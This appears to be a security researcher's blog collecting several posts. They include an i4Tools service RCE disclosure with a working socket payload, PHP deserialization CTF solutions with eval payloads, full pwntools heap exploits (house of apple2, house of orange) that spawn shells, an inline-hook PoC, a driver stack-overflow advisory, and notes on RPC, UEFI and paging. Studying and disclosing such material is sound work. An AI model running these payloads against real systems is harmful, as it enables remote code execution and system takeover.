i4tools unauthorized RCE

i4ToolsService.exe is a service program for i4Tools (爱思助手), automatically installed upon setup, and runs with SYSTEM privileges by default.

image-20260127160441685

image-20260127160502400

The service listens on port 19991 across all network interfaces (0.0.0.0) by default upon system startup.

image-20260127160552999

image-20260127160619408

Cause of the vulnerability: The port lacks any authentication mechanisms and contains a backdoor.

image-20260127160708264

The function reads up to 2048 bytes from TCP into a buffer. It then interprets the first 4 bytes of the buffer as a DWORD. If this value is 1001 (0x3E9), it stores the subsequent bytes into a destination and then proceeds to the sub_7FF7C56D28C0 function.

image-20260127161003911

sub_7FF7C56D28C0 directly executes the Destination, leading to Remote Code Execution (RCE).

payload

import socket
s = socket.socket()
s.connect(('localhost', 19991))
s.send(b'\xE9\x03\x00\x00' + b'calc.exe' + b'\x00')

image-20260127161125770

execute calc.exe

Risk

Based on the previous code analysis, the service defaults to listening on all network interfaces (0.0.0.0:19991) and lacks any authentication measures. The function sub_7FF7C56D28C0 directly executes the received data, leading to Remote Code Execution (RCE). Therefore, the risks include: if the port is exposed to the public internet, attackers can remotely control the system; in virtualized environments, it may enable virtual machine escape through NAT; within the internal network, attackers can access other machines with administrator privileges.

PHP反序列化入门 - [NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>


代码接收一个ser变量来反序列化

//class NISA   
public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever); //eval高危函数 执行代码
    }

首先我们的最终目的肯定是触发NISA的invoke 方法 - 对象被当作函数调⽤时

然后我们查找对象在哪里被当作函数调用

//Class ilovetxw    
public function __toString(){
        $bb = $this->su;
        return $bb();
    }

然后发现在Ilovetxw的toString方法会被调用 - 把类当作字符串使⽤时调用

// Class Four        
if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }

这里会把a变量转换成小写(strtolower)肯定调用toString

但是拥有判断fun = “sixsixsix”而fun是private私有

// class ilovetxw    
public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

这里可以设置fun 为入参

call是在对象上下⽂中调⽤不可访问的⽅法时触发

//class TianXiWei
public function __wakeup()
{
    $this->ext->nisa($this->x);
}

也就是 TianXiWei::_wakeup -> ilovetxw::__call -> Four:: _set -> ilovetxw::_toString -> NISA::__invoke

$a = new TianXiWei();
$a->ext = new Ilovetxw();
$a->ext->huang = new four();
$a->x = "sixsixsix"; //fun 
$a->ext->huang->a = new Ilovetxw();
$a->ext->huang->a->su = new NISA();
$a->ext->huang->a->su->txw4ever = "SYSTEM('cat /f*');";
$a->ext->huang->a->su->fun = "666";
echo(urlencode(serialize($a)));

邪修

//class NISA
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

NISA会在wakeup里面与”show_me_flag”弱比较 假设我们的fun设置成ilovetxw这个类 那不是直接会调用tostring方法吗

$a = new NISA();
$a ->fun = new Ilovetxw();
$a ->fun ->su = new NISA();
$a ->fun ->su->txw4ever = "SYSTEM('cat /f*');";
$a ->fun ->su->fun = "666";
echo(urlencode(serialize($a)));

image-20260109041952891

PHP反序列化入门 - no_wakeup

学一下Web 要不然渗透打不进去我的内网工具没用!

这题提示了nowakeup 那么就是绕过wakeup

因为wakeup会给passwd sha1加密 那么肯定不能得到wllm

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

__wakeup绕过技巧 __wakeup 绕过 (CVE-2016-7124) // 当序列化字符串中对象属性个数 > 实际属性个数时,__wakeup不执⾏

$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);

得到O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:4:”wllm”;}

然后第一个6是类名 第一个2 是类型个数 将类型个数改成3 即可跳过wakeup

image-20260109034342436

2025年广西网络与信息安全职业技能竞赛决赛 pwn writeup

比赛开始的时候就发现是一道2.35的堆,但是采用了C++所以需要patch更多的so,设置了rpath和直接set-interpreter、replace-needed 发现总会有libm.so.6 patch不上导致无法搭建和靶机一样的环境,看了一下这道题似乎没有什么特别的,决定用house of apple2 打 。本机是2.39的glibc在利用方式似乎和2.35没啥区别,就先拿2.39的打了。patch这个文件都花费了很长的时间,最后实在没办法就用本地环境了。

修复

因为此题是基于存在释放区块去做的Tcache attack,所以只需要把call delete的汇编nop掉就无法释放区块了,也就不会存在任意地址写,无法利用漏洞

image-20251121105307250

攻击

查保护发现保护全开 未去符号表 判断大概率堆题

image-20251121105553396

当时在靶机上

strings libc.so.6 | grep "ubuntu"

发现是2.35的libc,从2.34起去掉了钩子函数,且有fd加密,那么最简单的方式就是house of apple2 打FILE_IO

add_note

image-20251121105359211

由于题目是C++写的,所以我们普通的malloc free不存在,而是由new delete所替代。我们可以看到可以创建 0xff - 0x1ff内的chunk,最大可创建17个chunk,随后地址存放在note全局变量内(其实当时想着任意地址写notes然后控制多次任意地址写,但是保护全开要泄露proc_base,而且一次任意地址写已经够了)

delete_note

image-20251121110009363

在delete_note函数中使用delete释放了new出来的chunk,但是并没有对全局变量note内存放的地址进行清零,所以会导致UAF

edit_note

image-20251121110131037

我们可以看到在函数先判断了flag是否等于1 ,如果不等于1就直接退出,然后函数末尾会把flag减去1

image-20251121110219925

flag只有1 也就是我们只能编辑一次chunk

show_note

image-20251121110307072

其实就是调用了cout把区块的内容打印出来

std::cout << chunk的地址 << std::endl;

泄露libc_base

目前以2.39本地环境做示范

我们循环创建8个chunk 随后再从后向前释放(如果按照顺序释放会导致chunk合并),最后一个chunk会进入到unsorted bin,fd是main_arena+96

image-20251121110742601

随后使用show函数查看0号chunk,会打印出main_arena+96,接收

image-20251121110911390

然后可以通过有符号的变量或者函数计算偏移去得到libc_base,我在这里使用的是stdout

image-20251121111309217

泄露heap地址

因为在高版本libc内tcache的fd都加密了,所以需要解密,这里给出加密和解密的代码

enctypted_fd = (heap_base >> 12)^target_addr #加密
leak_heap_base = uu64(encrypt[0:5]) << 12 #解密

我们是需要查看8号chunk的,也就是第一个释放的chunk,他的fd是0,那么也就是(heap_base >> 12)^0 得到他自身,那么我们接收五个字节右移12就得到heap_base

image-20251121112052886

任意地址写

拿到了libc_base 和 heap_base 后, 我们就可以打tcache 中毒,把第一个要分配的chunk的fd改成写入的任意地址(注意地址需要加密),我们申请两次chunk就可以得到此内存地址的写入

image-20251121112325450

house of apple2

本来是打算打io_list_all的stderr流的,构造完了发现完全没作用,因为他不刷stderr,又浪费了很多时间,选择直接打stdout

fake_file = flat(
    {
        0x0: b" sh;",
        0x8: libc_stdout - 0x10, #
        0x28: libc_base + libc.sym["system"],
        0x88: libc_base+libc.sym["_environ"] - 0x10,
        0xA0: libc_stdout - 0x40,
        0xD8: io_wfile_jumps - 0x20,
    },
    filler=b"\x00",
)

house of apple2 是通过调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查, 所以把vtable设置成io_wfile_jumps

来调用_IO_wfile_overflow 随后调用wfile_wdoallocbuf 执行到我们的system

image-20251121120151358

具体细节可以看看这位师傅的,说的很详细https://bbs.kanxue.com/thread-279956-1.htm

image-20251121120640635

payload(2.39本地)

from pwn import *
import time
#from LibcSearcher import *
context.log_level = 'debug' 

context.arch = 'amd64'

#addr = ["192.168.20.223","192.168.20.222","192.168.20.225","192.168.20.220","192.168.20.224","192.168.20.143","192.168.20.140","192.168.20.221","192.168.20.138","192.168.20.131","192.168.20.141","192.168.20.133","192.168.20.135","192.168.20.130","192.168.20.134","192.168.20.132","192.168.20.137","192.168.20.142","192.168.20.141","192.168.20.138","192.168.20.136","192.168.20.137"]

io = process("./pwn")
e = ELF('./pwn') 
libc = ELF('/home/rick/glibc-all-in-one-master/libs/2.39-0ubuntu8.6_amd64/libc.so.6')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data) # send 发送数据
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))


def add(index,size,content):
    ru(b"Choice: ")
    #sleep(0.1)
    sl(b"1")
    ru(b"Index: ")
    #sleep(0.1)
    sl(str(index))
    ru(b"Size: ")
    #sleep(0.1)
    sl(str(size))
    ru(b"Content: ")
    #sleep(0.1)
    sl(content)

def delete(index): #UAF
    ru(b"Choice: ")
    #sleep(0.1)
    sl(b"2")
    ru(b"Index: ")
    #sleep(0.1)
    sl(str(index))

def edit(index,content): #only once
    ru(b"Choice: ")
    sl(b"3")
    ru(b"Index: ")
    sl(str(index))
    ru(b"content: ")
    sl(content)

def show(index):
    ru(b"Choice: ")
    sl(b"4")
    #sleep(0.1)
    ru(b"Index: ")
    sl(str(index))

#sla(b";)",payload)

#bug()


for i in range(0,9):
    add(i,0x100,b"aaa")

for i in range(0,9):
    delete(8-i)


show(0)
ru(b"Content: ")
leak_main_arena = uu64(r(6))
dlog("leak_main_arena",leak_main_arena)
libc_base = leak_main_arena + 0xaa0 - libc.sym["_IO_2_1_stdout_"]
dlog("libc_base",libc_base)
show(8)
ru(b"Content: ")
encrypt = r(7)
leak_heap_base = uu64(encrypt[0:5]) << 12
dlog("leak_heap_base",leak_heap_base)
libc_stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
dlog("libc_stdout",libc_stdout)

enctypted_fd = (leak_heap_base >> 12)^libc_stdout
dlog("enctypted_fd",enctypted_fd)

edit(2,p64(enctypted_fd))

add(9,0x100,b"aaa") # chunk2
'''

'''

io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]

bug()

fake_file = flat(
    {
        0x0: b" sh;",
        0x8: libc_stdout - 0x10,
        0x28: libc_base + libc.sym["system"],
        0x88: libc_base+libc.sym["_environ"] - 0x10,
        0xA0: libc_stdout - 0x40,
        0xD8: io_wfile_jumps - 0x20,
    },
    filler=b"\x00",
)



add(10,0x100,bytes(fake_file)) # stdout
itr()

        

在比赛中主要是打了io_list_all和patch浪费了很多时间,2.35的话把获取libc_base的偏移改成2.35的然后elf换成2.35的就可以用了,如果有ORW就直接栈迁移,迁移进新分配的一个0x1ff的chunk就可以。ogg亲测栈不对齐,如果要使用ogg的话还得栈迁移去ret,就不如system(“sh”)好了

Windows RPC 初探

开始

IDL(接口定义语言)文件:

import "oaidl.idl";
[
    uuid(fa63b4aa-cde1-461b-a201-54eb3ea1808b), //定义uuid
    version(1.0) //定义版本号
]

interface myrpc //定义rpc接口 interface
{
    void input(char* string);
}

ACF文件:

[
	implicit_handle(handle_t rpcBinding)
]

interface myrpc{

}

implicit_handle 表示是隐式句柄

image-20250921215508572

随后在Native Tools 内使用midl工具生成服务端和客户端所用的.c和.h文件

这里注意 如果要x64的RPC程序需要使用X64的Native Tools!!!

image-20250921215526737

myrpc.h为客户端与服务端公用

_c文件为Client所用

_s文件为Server所用

服务端

​ 服务端必须包含两个内存分配函数。这两个函数被服务端程序调用:midl_user_allocate和midl _user_free。这两个函数在服务端分配和释放内存,一般情况下midl _user_allocate和midl_user_free都会简单地封装C库函数malloc和free。

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include "../IDL/myrpc.h"

#define RPC_PORT L"12345"

void input(char * string) {
	printf("[RPC]%s\n", string);
	return;
}


int wmain(int argc, wchar_t* argv[])
{
	// 采用tcp协议,13521端口
	RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
		(RPC_WSTR)RPC_PORT, NULL);
	// 注意:从Windows XP SP2开始,增强了安全性的要求,如果用RpcServerRegisterIf()注册接口,客户端调用时会出现
	// RpcExceptionCode() == 5,即Access Denied的错误,因此,必须用RpcServerRegisterIfEx带RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH标志
	// 允许客户端直接调用
	printf("[RPC]Server Running in port %ls\n", RPC_PORT);
	RpcServerRegisterIfEx(myrpc_v1_0_s_ifspec, NULL, NULL, RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, 0, NULL);
	// 开始监听,本函数将一直阻塞
	RPC_STATUS result = RpcServerListen(1, 20, FALSE);


	return 0;
}


void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
	return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
	free(ptr);
}

image-20250921222537530

客户端

#include <stdio.h>
#include "../IDL/myrpc.h"

int main() {
	RPC_WSTR pszStringBinding = NULL;

	RpcStringBindingCompose(
		NULL,
		(RPC_WSTR)L"ncacn_ip_tcp",
		(RPC_WSTR)L"127.0.0.1",
		(RPC_WSTR)L"12345",
		NULL,
		&pszStringBinding
	);

	// 绑定接口,这里要和 test.acf 的配置一致,那么就是test_Binding
	RpcBindingFromStringBinding(pszStringBinding, &rpcBinding);

	// 下面是调用服务端的函数了
	RpcTryExcept
	{
		while (1)
		{
			input(L"Hello World!");
			Sleep(1000);
		}

	}
		RpcExcept(1)
	{
		printf("RPC Exception %d\n", RpcExceptionCode());
		Sleep(2000);
	}
	RpcEndExcept


		// 释放资源
	RpcStringFree(&pszStringBinding);
	RpcBindingFree(&rpcBinding);

	return 0;
}





// 下面的函数是为了满足链接需要而写的,没有的话会出现链接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
	return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
	free(ptr);
}

image-20250921223201311

由于宽字符串的问题 所以只显示第一个字符 已经成功建立RPC远程通信

image-20250921223238178

客户端和服务端都需要引入rpcrt4.lib

Credit:

https://bbs.kanxue.com/thread-262291.htm

https://blog.csdn.net/herojuice/article/details/81015325

UEFI Start - Hello World

最近在看《从零开始的UEFI裸机编程》(https://kagurazakakotori.github.io/ubmp-cn),作者翻译的非常好。推荐观看。

image-20250917112343059

我们在UEFI入口点传递的SystemTable指针其实就是当系统的UEFI执行到我们的入口点时自动传递的。

所以我们调用的ClearScreen和OutputString都是调用的系统UEFI内的函数。

网上大部分都是使用edk2去编译UEFI的内容,但是edk2其实很繁琐。这也就是为什么我选择了《从零开始的UEFI裸机编程》开始学习UEFI原理。

sudo apt install gcc-mingw-w64-x86-64
x86_64-w64-mingw32-gcc -Wall -Wextra -e efi_main -nostdinc -nostdlib \        -fno-builtin -Wl,--subsystem,10 -o main.efi main.c

进入UEFI Shell 然后fs0: 切换到fs0

在这里还踩了坑 UEFI不认NTFS格式的分区

然后执行

image-20250917112653974

image-20250917112802000

windows 虚拟内存笔记

Windows 分页

image-20250818144719375

线性地址通过4层页表变成物理地址,让CPU实际可以访问到物理地址。

也就是说,线性地址其实是由四层页表+偏移组合而成的

图片

线性地址组成

  • 在PML4 四级页表中的表项索引 索引内内容是 PDPT 的基地址
  • 拿着得到的PDPT的基地址 与在PDPT 页目录指针表的表项索引 得到PD的基地址
  • 拿着得到的PD的基地址 与在PD页目录表的表项索引 得到PT的基地址
  • 拿着得到的PT的基地址 与在PT页表的表项索引 得到Page 页的基地址
  • 然后拿着页的基地址+ Offset 得到真实物理地址 12位最大就是0xFFF 所以一个页通常是0x1000
  • 也就是0x0-0xFFF 4KB页大小

在32位系统下,windows有两种分页机制,2-9-9-12分页以及10-10-12分页,而在64位下只有一种分页机制,那就是9-9-9-9-12分页

在x64体系中,只有48位是用来确定虚拟地址的,前面的16位成为符号拓展位,这16位只有为全1或者为全0两种情况。除了这两种情况之外的地址都是不合法的。

这16位为全1时表示这个地址是一个内核空间的地址,而为全0时表示这个地址是一个用户空间的地址。而在windows操作系统中,由于种种原因,又只用了这48位线性地址中的 44位 。也就是说windows分配的线性地址前20位都是要么为全0,要么为全1

PS位

图片

除了四级页表后的PDPTE PDE 这两个页表都可能拥有PS位

PS为一般在第7位

在PDPTE如果PS位为1 就认为是映射1GB 大页

  • PD PT Offset就变成一个大的Offset 然后PDPTE是这个1GB物理大页的基地址
  • Offset大小就是 9+9+12 = 30位大小(PD的页表的表项索引 + PT页表的表项索引 + Offset)

如果在PDE PS位为1 那么就认为是映射2MB 大页

  • PT Offset 就变成一个大的Offset 然后PDE是这个2MB大页的基地址
  • Offset 大小就是9 +12 = 21 位 (PT页表的表项索引 + Offset) 0x1FFFFF字节

CR3寄存器

  • x64 PML4基地址存储在CR3寄存器内。

例子

00007ff8`c5810000

011111111

111100011

000101100

000010000

000000000000

image-20250818153333044

CR3是1ad000

第一层应该就是1ad000 + 255(8个1) * 8(每一个PML4E都是寄存器大小 8 字节) = 0x1ad7f8

image-20250818153940511

得到PML4E8A0000000F27C867

在 x64 页表中,PML4E 的高 40 位存储下一级页表(PDPT)的物理基地址,低 12 位为属性标志(如存在位、读写权限等)

名称 类型
pdpt 0x8a0000000f27c000 unsigned __int64

得到PDPT基地址 f27c000

然后就是 f27c000+ 1e3 * 8 = f27cf18

image-20250818154733555

0a000000`0f27d867

相同手法获得PDT 基地址 f27d000

000101100 = 0x2c 然后0x2c * 8 = 0x160

PT在f27d160

image-20250818155627813

pt基地址为f27e000 + 0x80 = f27e080

image-20250818155729388

最终结果0xf185000

image-20250818155755759

Amd64VtoP: Virt 00007ff8c5810000, pagedir 00000000001ad000Amd64VtoP: PML4E 00000000001ad7f8Amd64VtoP: PDPE 000000000f27cf18Amd64VtoP: PDE 000000000f27d160Amd64VtoP: PTE 000000000f27e080Amd64VtoP: Mapped phys 000000000f185000Virtual address 7ff8c5810000 translates to physical address f185000.

成功手算出了物理地址

PTE -> PDE

那么我们其实也可以反推

因为PTE =

Windows 内存管理

VAD

微软和Intel手册叫的不同

  • PXE - PM4LE
  • PPE - PDPTE
  • PDE - PDE
  • PTE - PTE

Wincor Nixdorf PORT IO Driver Stack Overflow

The Wincor Nixdorf PORT IO Driver ‘wnport.sys’ was found to have multiple stack overflow vulnerabilities.

Driver Download Link https://driverpack.io/en/hwids/ROOT%5CWNPORT

image-20250626232106183

The Driver ‘s Digital Signature. though it’s has not WHQL signature. is still permitted to be loaded by the latest version of Windows. However, for drivers with valid digital signatures issued before this policy update, Windows maintains compatibility by allowing them to bypass the WHQL requirement.

Therefore, this driver may still have an impact on the new 32-bit version of Windows.

The IOCTL_DEVICEIO_CONTROL_FUNCTION subroutine at sub_11100 contains multiple IOCTL handlers that can trigger stack overflow conditions. Specifically, the following IOCTL codes are affected:

  • 0x80102040
  • 0x80102044
  • 0x80102050
  • 0x80102054

image-20250626232659410

The MaxCount parameter actually represents the input buffer length, while CommitSize is constrained to a maximum of four size_t units. Consequently, a stack overflow will occur if the input buffer length exceeds the CommitSize.

image-20250626233012724

After using DeviceIoControl to send a large input buffer that exceeds the driver’s internal stack allocation , the system may encounter a stack overflow condition. This occurs because the driver’s IOCTL handler at sub_11100 processes the buffer without proper bounds checking, leading to memory corruption.

image-20250626233051235

This driver has triggered a PAGE_FAULT_NON_PAGE blue screen error, resulting in the system crashing., disrupting system operation by causing improper access to non-paged memory. Beyond the immediate system crash, its vulnerabilities can lead to memory corruption, enabling malicious entities to manipulate critical memory areas. In the worst - case scenario, it allows for arbitrary code execution, giving attackers the ability to run unauthorized commands with elevated privileges. What’s more concerning is that the driver’s IOCTL functions can be called by low - privileged programs, making it easier for attackers to exploit these flaws and undermine system integrity.

windows hook - inline hook

inline hook 内联钩子是一种常用的钩子

其原理是直接把函数开头改成一个JMP ,后跟我们的hook函数地址

在hook函数里就随后恢复我们的原始字节 并跳到原函数执行 随后直接再次改成JMP挂钩

一般来说在windows内程序代码应该都是不可写的 需要使用VirtualProtect函数来改权限

BOOL
WINAPI
VirtualProtect(
    _In_  LPVOID lpAddress,
    _In_  SIZE_T dwSize,
    _In_  DWORD flNewProtect,
    _Out_ PDWORD lpflOldProtect
    )
{
    return VirtualProtectFromApp (lpAddress, dwSize, flNewProtect, lpflOldProtect);
}

简单的poc

#include <iostream>
#include <windows.h>

BYTE original_code[14];
void hook(ULONG_PTR addr, ULONG_PTR target);
void unhook(ULONG_PTR addr, BYTE* original);

int print_custom() {
    std::cout << "Hello World!\n";
    return 0;
}

int print_hook() {
    std::cout << "you are hooked!" << std::endl;
    unhook((ULONG_PTR)&print_custom, original_code);
    print_custom();
    hook((ULONG_PTR)&print_custom, (ULONG_PTR)&print_hook);
    return 0;
}



int main()
{
    ULONG_PTR print_addr = (ULONG_PTR)&print_custom;
    std::cout <<"[+]print_addr=>" << std::hex << print_addr << std::endl;
    ULONG_PTR print_hook_addr = (ULONG_PTR)&print_hook;
    std::cout << "[+]print_hook=>" << std::hex << print_hook_addr << std::endl;

    DWORD dwOldProtect;


    VirtualProtect((LPVOID)print_addr, 0x233, 64, &dwOldProtect);
    memcpy((void*)(&original_code), (void*)(print_addr), 14);
    hook(print_addr, print_hook_addr);
    
    int qwq = print_custom();
    int qwq1 = print_custom();
    system("pause");

}

void hook(ULONG_PTR addr,ULONG_PTR target){
    BYTE jmp_code[14] = {
   0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // ; jmp qword ptr [rip + 0x0]
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // 后跟绝对地址
    };
    memcpy((void*)&jmp_code[6], (void*)&target, 8);
    memcpy((void*)(addr), &jmp_code, 14);
}

void unhook(ULONG_PTR addr, BYTE* original) {
    memcpy((void*)addr, original, 14);
}

house of orange(欧润吉)

通过溢出修改top_chunk的size从而申请比修改后的size更大的chunk来触发sys_malloc,从而把原来的top_chunk给free掉

然后就可以泄露LIBC地址和堆地址了

unsortedbin attack 已经在新版本libc被修复了

victim = unsorted_chunks(av)->bk;  // 获取最后一个 chunk
bck = victim->bk;                 // 获取 victim 的 bk
unsorted_chunks(av)->bk = bck;    // 将 unsorted bin 的 bk 指向 victim 的 bk
bck->fd = unsorted_chunks(av);    // 关键操作:将 victim->bk->fd 设置为 unsorted bin 头 

我们可以控制最后一个chunk的bk

因为这个攻击是利用了 往 最后一个chunk 的 bk 的fd (bk+0x10)写入东西

那么只要控制bk减少0x10 就可以往我们指定的target_address 写入 main_arena+96 或者+88 (一个很大的值)

FSOP:

FSOP的核心是去篡改_IO_list_all和_chain,来劫持IO_FILE结构体。让IO_FILE结构体落在我们可控的内存上。然后在FSOP中我们使用_IO_flush_all_lockp来刷新_IO_list_all链表上的所有文件流,也就是对每个流都执行一下fflush,而fflush最终调用了vtable中的_IO_overflow

主要就是为了控制_IO_list_all 然后控制vtable 或者chain

houseoforange_hitcon_2016

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
#io = remote("node5.buuoj.cn",29087)
io = process("./orange")
e = ELF('./orange')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
dlog     = lambda name,data         :log.success(f"get {name}=>"+hex(data))

def add():
    sla(b"Your choice : ",str(1))


def add(size,content):
    sla('Your choice : ',str(1))
    sla('Length of name :',str(size))
    sa('Name :',content)
    sla('Price of Orange:',str(1))
    sla('Color of Orange:',str(2))


def edit(size,content):
    sla('Your choice : ',str(3))
    sla('Length of name :',str(size))
    sa('Name:',content)
    sla('Price of Orange:',str(1))
    sla('Color of Orange:',str(2))


def delete(index):
    sla('4.show\n',str(2))
    sla('index:\n',str(index))
    
def show():
    sla('Your choice : ',str(2))

add(0x10,b'a')
edit(0x40,b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)) # modify top_chunk
add(0x1000,b'a')
add(0x500,b'a') # cut the free chunk 
show()
ru('Name of house : ')
leak_main_arena = uu64(r(6))
dlog("main_arena",leak_main_arena)
libc_base = leak_main_arena -0x5e9 - 88 - 0x10 - libc.sym["__malloc_hook"]
dlog("libc_base",libc_base)
io_2_1_list_all = libc_base + libc.sym["_IO_list_all"]
system_addr = libc_base + libc.sym["system"]
dlog("list_all",io_2_1_list_all)
edit(0x10,b'a'*0x10)
show()
ru(b'a'*0x10)
leak_heap_addr = uu64(r(6))
dlog("heap_address",leak_heap_addr)
payload = b'a'*0x500 + p64(0) +p64(0x21)+b'a'*0x10
payload+=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(io_2_1_list_all-0x10)#unsorted bin attack
payload+=p64(0)+p64(1)
payload+=p64(0)*7
payload+=p64(leak_heap_addr+0x530)+p64(0)*10
payload+=p64(0)*3+p64(leak_heap_addr+0x610)+p64(system_addr)*8
edit(len(payload),payload)
#bug()
sla('Your choice : ',str(1))


io.interactive()